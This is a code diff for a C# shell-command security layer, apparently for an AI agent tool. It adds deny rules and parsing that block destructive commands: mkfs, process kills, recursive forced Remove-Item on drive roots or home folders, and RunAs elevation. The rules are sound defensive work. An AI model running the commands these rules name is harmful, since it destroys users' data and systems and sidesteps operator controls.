new VerbPrefixDenyPattern("mkfs", "Cannot create filesystems", DenyCategory.SystemDestructive),
@@ -263,7 +360,7 @@ internal sealed record ProcessKillDenyPattern(string Reason, DenyCategory Catego
{
private static readonly HashSet KillVerbs = new(StringComparer.OrdinalIgnoreCase)
{
- "kill", "killall", "pkill"
+ "kill", "killall", "pkill", "Stop-Process"
};
public override bool Matches(IReadOnlyList tokens)
@@ -356,11 +453,76 @@ private static bool IsDangerousRmTarget(string token)
var trimmed = token.TrimEnd('/', '\\');
return trimmed is "~" or "$HOME" or "${HOME}"
- || string.Equals(trimmed, Environment.GetFolderPath(Environment.SpecialFolder.UserProfile),
+ || string.Equals(trimmed, System.Environment.GetFolderPath(System.Environment.SpecialFolder.UserProfile),
StringComparison.OrdinalIgnoreCase);
}
}
+ internal sealed record PowerShellRemoveItemRootDenyPattern(string Reason, DenyCategory Category)
+ : DenyPattern(Reason, Category)
+ {
+ public override bool Matches(IReadOnlyList tokens)
+ {
+ if (tokens.Count < 2
+ || !string.Equals(tokens[0], "Remove-Item", StringComparison.OrdinalIgnoreCase))
+ {
+ return false;
+ }
+
+ var recursive = tokens.Any(static token =>
+ IsPowerShellParameterAbbreviation(token, "Recurse"));
+ var force = tokens.Any(static token =>
+ IsPowerShellParameterAbbreviation(token, "Force"));
+ var dangerousTarget = tokens.Skip(1).Any(IsDangerousPowerShellTarget);
+ return recursive && force && dangerousTarget;
+ }
+
+ private static bool IsDangerousPowerShellTarget(string token)
+ {
+ var unquoted = token.Trim('"', '\'').TrimEnd('/', '\\');
+ if (unquoted.Length == 2 && char.IsAsciiLetter(unquoted[0]) && unquoted[1] == ':')
+ return true;
+
+ return unquoted.Equals("~", StringComparison.OrdinalIgnoreCase)
+ || unquoted.Equals("$HOME", StringComparison.OrdinalIgnoreCase)
+ || unquoted.Equals("${HOME}", StringComparison.OrdinalIgnoreCase)
+ || unquoted.Equals("$env:USERPROFILE", StringComparison.OrdinalIgnoreCase);
+ }
+ }
+
+ internal sealed record PowerShellRunAsDenyPattern(string Reason, DenyCategory Category)
+ : DenyPattern(Reason, Category)
+ {
+ public override bool Matches(IReadOnlyList tokens)
+ {
+ if (tokens.Count < 2
+ || !string.Equals(tokens[0], "Start-Process", StringComparison.OrdinalIgnoreCase))
+ {
+ return false;
+ }
+
+ for (var i = 1; i < tokens.Count; i++)
+ {
+ if (IsPowerShellParameterAbbreviation(tokens[i], "Verb")
+ && i + 1 < tokens.Count
+ && tokens[i + 1].Trim('"', '\'').Equals("RunAs", StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+
+ var colon = tokens[i].IndexOf(':', StringComparison.Ordinal);
+ if (colon > 1
+ && IsPowerShellParameterAbbreviation(tokens[i], "Verb")
+ && tokens[i][(colon + 1)..].Trim('"', '\'').Equals("RunAs", StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+ }
+
+ return false;
+ }
+ }
+
///
/// Verb-chain match with optional argFlags and firstPath refinements.
/// Used when an operator override rule combines a structured verb match
diff --git a/src/Netclaw.Security/ShellExecutionEnvironment.cs b/src/Netclaw.Security/ShellExecutionEnvironment.cs
new file mode 100644
index 000000000..9a50eaddf
--- /dev/null
+++ b/src/Netclaw.Security/ShellExecutionEnvironment.cs
@@ -0,0 +1,322 @@
+// -----------------------------------------------------------------------
+//
+// Copyright (C) 2026 - 2026 Petabridge, LLC
+//
+// -----------------------------------------------------------------------
+using System.Collections.Immutable;
+using ShellSyntaxTree;
+
+namespace Netclaw.Security;
+
+public enum ShellGrammar
+{
+ Bash,
+ PowerShell
+}
+
+public enum ShellPathStyle
+{
+ Posix,
+ Windows
+}
+
+///
+/// Immutable canonical description shared by shell execution, syntax parsing,
+/// security policy, and model-visible runtime context.
+///
+public sealed class ShellExecutionEnvironment
+{
+ private const int MaxWrapperDepth = 8;
+ private static readonly Lazy CurrentEnvironment = new(CreateCurrent);
+
+ private ShellExecutionEnvironment(
+ string platform,
+ string executable,
+ ShellGrammar grammar,
+ ShellPathStyle pathStyle,
+ IShellParser parser,
+ ImmutableArray commandArguments)
+ {
+ Platform = platform;
+ Executable = executable;
+ Grammar = grammar;
+ PathStyle = pathStyle;
+ Parser = parser;
+ CommandArguments = commandArguments;
+ }
+
+ public static ShellExecutionEnvironment Current => CurrentEnvironment.Value;
+
+ public string Platform { get; }
+
+ public string Executable { get; }
+
+ public ShellGrammar Grammar { get; }
+
+ public ShellPathStyle PathStyle { get; }
+
+ public IShellParser Parser { get; }
+
+ public ImmutableArray CommandArguments { get; }
+
+ public IShellParser CreateParser(string? workingDirectory = null)
+ {
+ if (string.IsNullOrWhiteSpace(workingDirectory))
+ return Parser;
+
+ return Grammar switch
+ {
+ ShellGrammar.Bash => new BashParser(new BashParserOptions
+ {
+ WorkingDirectory = workingDirectory
+ }),
+ ShellGrammar.PowerShell => new PwshParser(new PwshParserOptions
+ {
+ WorkingDirectory = workingDirectory
+ }),
+ _ => throw new ArgumentOutOfRangeException(nameof(Grammar), Grammar, "Unsupported shell grammar.")
+ };
+ }
+
+ public bool LooksLikePath(string token)
+ => ApprovalSemantics().LooksLikePath(token);
+
+ public string? NormalizePathToken(string path, string? workingDirectory = null)
+ => ApprovalSemantics().NormalizePathToken(path, workingDirectory);
+
+ public bool TryExtractStaticPathTokens(
+ string command,
+ string? workingDirectory,
+ out IReadOnlyList pathTokens)
+ {
+ var analysis = Analyze(command, workingDirectory);
+ if (analysis.Failure != ShellAnalysisFailure.None || analysis.HasDynamicSyntax)
+ {
+ pathTokens = [];
+ return false;
+ }
+
+ var paths = new List();
+ foreach (var clause in analysis.Clauses)
+ {
+ foreach (var argument in clause.Args)
+ {
+ if (!argument.IsCwdAttribution
+ && argument.IsPath
+ && LooksLikePath(argument.Raw))
+ {
+ paths.Add(argument.Raw);
+ }
+ }
+
+ foreach (var redirect in clause.Redirects)
+ {
+ if (LooksLikePath(redirect.Target))
+ paths.Add(redirect.Target);
+ }
+ }
+
+ pathTokens = paths;
+ return true;
+ }
+
+ internal ShellCommandAnalysis Analyze(string command, string? workingDirectory = null)
+ {
+ var clauses = new List();
+ var failure = Analyze(command, workingDirectory, depth: 0, clauses);
+ return new ShellCommandAnalysis(clauses, failure);
+ }
+
+ private ShellAnalysisFailure Analyze(
+ string command,
+ string? workingDirectory,
+ int depth,
+ List clauses)
+ {
+ if (depth > MaxWrapperDepth)
+ return ShellAnalysisFailure.Unresolved;
+
+ if (Grammar == ShellGrammar.PowerShell && ContainsUnsupportedWindowsShell(command))
+ return ShellAnalysisFailure.UnsupportedShellWrapper;
+
+ ParsedCommand parsed;
+ try
+ {
+ parsed = CreateParser(workingDirectory).Parse(command);
+ }
+ catch
+ {
+ return ShellAnalysisFailure.Unresolved;
+ }
+
+ if (parsed.IsUnparseable || parsed.Clauses.Count == 0)
+ return ShellAnalysisFailure.Unresolved;
+
+ if (Grammar == ShellGrammar.PowerShell
+ && parsed.Clauses.Any(static clause => IsUnsupportedWindowsShellVerb(clause.Verb.Tokens.FirstOrDefault())))
+ {
+ return ShellAnalysisFailure.UnsupportedShellWrapper;
+ }
+
+ if (Grammar == ShellGrammar.PowerShell
+ && parsed.Clauses.Any(IsIndirectShellProcessWrapper))
+ {
+ clauses.AddRange(parsed.Clauses);
+ return ShellAnalysisFailure.UnsupportedShellWrapper;
+ }
+
+ var innerCommands = ApprovalSemantics().ExtractInnerCommands(command);
+ var hasUnexpandedWrapper = parsed.Clauses.Any(IsUnexpandedWrapperClause);
+ if (innerCommands.Count == 0 || !hasUnexpandedWrapper)
+ {
+ clauses.AddRange(parsed.Clauses);
+ return ShellAnalysisFailure.None;
+ }
+
+ clauses.AddRange(parsed.Clauses.Where(clause =>
+ !IsUnexpandedWrapperClause(clause) || HasPosixShellInvokerInArguments(clause)));
+ foreach (var innerCommand in innerCommands)
+ {
+ var failure = Analyze(innerCommand, workingDirectory, depth + 1, clauses);
+ if (failure != ShellAnalysisFailure.None)
+ return failure;
+ }
+
+ return ShellAnalysisFailure.None;
+ }
+
+ private bool ContainsUnsupportedWindowsShell(string command)
+ {
+ foreach (var segment in ApprovalSemantics().SplitCompoundCommand(command))
+ {
+ var firstToken = ShellTokenizer.Tokenize(segment).FirstOrDefault();
+ if (firstToken is null)
+ continue;
+
+ if (IsUnsupportedWindowsShellVerb(firstToken))
+ return true;
+ }
+
+ return false;
+ }
+
+ private static bool IsUnsupportedWindowsShellVerb(string? token)
+ {
+ if (token is null)
+ return false;
+
+ var verb = ShellTokenizer.TrimShellPunctuation(token);
+ return verb.Equals("cmd", StringComparison.OrdinalIgnoreCase)
+ || verb.Equals("cmd.exe", StringComparison.OrdinalIgnoreCase)
+ || verb.Equals("powershell", StringComparison.OrdinalIgnoreCase)
+ || verb.Equals("powershell.exe", StringComparison.OrdinalIgnoreCase);
+ }
+
+ private static bool IsIndirectShellProcessWrapper(Clause clause)
+ {
+ var verb = NormalizePowerShellVerb(
+ clause.Verb.CanonicalVerb ?? clause.Verb.Tokens.FirstOrDefault() ?? string.Empty);
+ if (!verb.Equals("Start-Process", StringComparison.OrdinalIgnoreCase))
+ return false;
+
+ return clause.Args.Any(static arg =>
+ {
+ var target = arg.Raw.Trim('"', '\'');
+ return target.Equals("cmd", StringComparison.OrdinalIgnoreCase)
+ || target.Equals("cmd.exe", StringComparison.OrdinalIgnoreCase)
+ || target.Equals("powershell", StringComparison.OrdinalIgnoreCase)
+ || target.Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)
+ || target.Equals("pwsh", StringComparison.OrdinalIgnoreCase)
+ || target.Equals("pwsh.exe", StringComparison.OrdinalIgnoreCase);
+ });
+ }
+
+ internal static string NormalizePowerShellVerb(string verb)
+ {
+ var separator = verb.LastIndexOf('\\');
+ return separator >= 0 ? verb[(separator + 1)..] : verb;
+ }
+
+ private bool IsUnexpandedWrapperClause(Clause clause)
+ {
+ if (clause.Verb.Tokens.Count == 0 || clause.Args.Count == 0)
+ return false;
+
+ if (Grammar == ShellGrammar.Bash
+ && (clause.Verb.Tokens.Any(static token => IsPosixShellInvokerToken(token))
+ || HasPosixShellInvokerInArguments(clause)))
+ {
+ return clause.Args.Any(static arg =>
+ arg.Raw.Length > 1
+ && arg.Raw[0] == '-'
+ && !arg.Raw.StartsWith("--", StringComparison.Ordinal)
+ && arg.Raw.AsSpan(1).IndexOf('c') >= 0);
+ }
+
+ return false;
+ }
+
+ private static bool HasPosixShellInvokerInArguments(Clause clause)
+ => clause.Args.Any(static arg =>
+ arg.Kind != ArgKind.DynamicSkip && IsPosixShellInvokerToken(arg.Raw));
+
+ private static bool IsPosixShellInvokerToken(string token)
+ => PosixShellApprovalSemantics.IsPosixShellInvoker(
+ ShellTokenizer.TrimShellPunctuation(token));
+
+ private IShellApprovalSemantics ApprovalSemantics()
+ => PathStyle == ShellPathStyle.Windows
+ ? WindowsShellApprovalSemantics.Instance
+ : PosixShellApprovalSemantics.Instance;
+
+ public static ShellExecutionEnvironment Bash(string executable = "/bin/bash")
+ => new(
+ platform: "unix",
+ executable,
+ ShellGrammar.Bash,
+ ShellPathStyle.Posix,
+ new BashParser(),
+ ["-c"]);
+
+ public static ShellExecutionEnvironment PowerShell(string executable = "pwsh")
+ => new(
+ platform: "windows",
+ executable,
+ ShellGrammar.PowerShell,
+ ShellPathStyle.Windows,
+ new PwshParser(),
+ ["-NoLogo", "-NoProfile", "-NonInteractive", "-Command"]);
+
+ private static ShellExecutionEnvironment CreateCurrent()
+ {
+ if (OperatingSystem.IsWindows())
+ return PowerShell();
+
+ var platform = OperatingSystem.IsMacOS() ? "macos" : "linux";
+ var environment = Bash();
+ return new ShellExecutionEnvironment(
+ platform,
+ environment.Executable,
+ environment.Grammar,
+ environment.PathStyle,
+ environment.Parser,
+ environment.CommandArguments);
+ }
+}
+
+internal enum ShellAnalysisFailure
+{
+ None,
+ Unresolved,
+ UnsupportedShellWrapper
+}
+
+internal sealed record ShellCommandAnalysis(
+ IReadOnlyList Clauses,
+ ShellAnalysisFailure Failure)
+{
+ public bool HasDynamicSyntax => Clauses.Any(static clause =>
+ clause.Verb.IsDynamic
+ || clause.Args.Any(static arg => arg.Kind == ArgKind.DynamicSkip)
+ || clause.Redirects.Any(static redirect => redirect.IsDynamicSkip));
+}
diff --git a/src/Netclaw.Security/ShellTokenizer.cs b/src/Netclaw.Security/ShellTokenizer.cs
index 2b63fa489..69cbf16b1 100644
--- a/src/Netclaw.Security/ShellTokenizer.cs
+++ b/src/Netclaw.Security/ShellTokenizer.cs
@@ -328,7 +328,7 @@ public static IReadOnlyList GetAllCommandSegments(string command)
foreach (var segment in topLevel)
{
- allSegments.Add(segment);
+ allSegments.AddRange(SplitPipelineSegments(segment));
var innerCommands = ExtractInnerCommands(segment);
foreach (var inner in innerCommands)
@@ -341,6 +341,63 @@ public static IReadOnlyList GetAllCommandSegments(string command)
return allSegments;
}
+ ///
+ /// Splits executable pipeline clauses while preserving quoted pipe
+ /// characters and the logical OR operator. Approval display may keep a
+ /// pipeline as one unit, but hard-deny policy must inspect every process
+ /// the shell will start.
+ ///
+ private static IReadOnlyList SplitPipelineSegments(string command)
+ {
+ var segments = new List();
+ var current = new StringBuilder();
+ char? quote = null;
+
+ for (var i = 0; i < command.Length; i++)
+ {
+ var ch = command[i];
+ if (quote is null && ch is '\'' or '"')
+ {
+ quote = ch;
+ current.Append(ch);
+ continue;
+ }
+
+ if (quote == ch)
+ {
+ quote = null;
+ current.Append(ch);
+ continue;
+ }
+
+ if (quote is null && ch == '|')
+ {
+ if (i + 1 < command.Length && command[i + 1] == '|')
+ {
+ current.Append("||");
+ i++;
+ continue;
+ }
+
+ FlushPipelineSegment(current, segments);
+ continue;
+ }
+
+ current.Append(ch);
+ }
+
+ FlushPipelineSegment(current, segments);
+ return segments;
+ }
+
+ private static void FlushPipelineSegment(StringBuilder current, List segments)
+ {
+ var value = current.ToString().Trim();
+ if (value.Length > 0)
+ segments.Add(value);
+ current.Clear();
+ }
+
///
/// Returns true if a token is identifiable as a local filesystem path.
/// Uses positive identification (anchored prefixes + extension heuristic)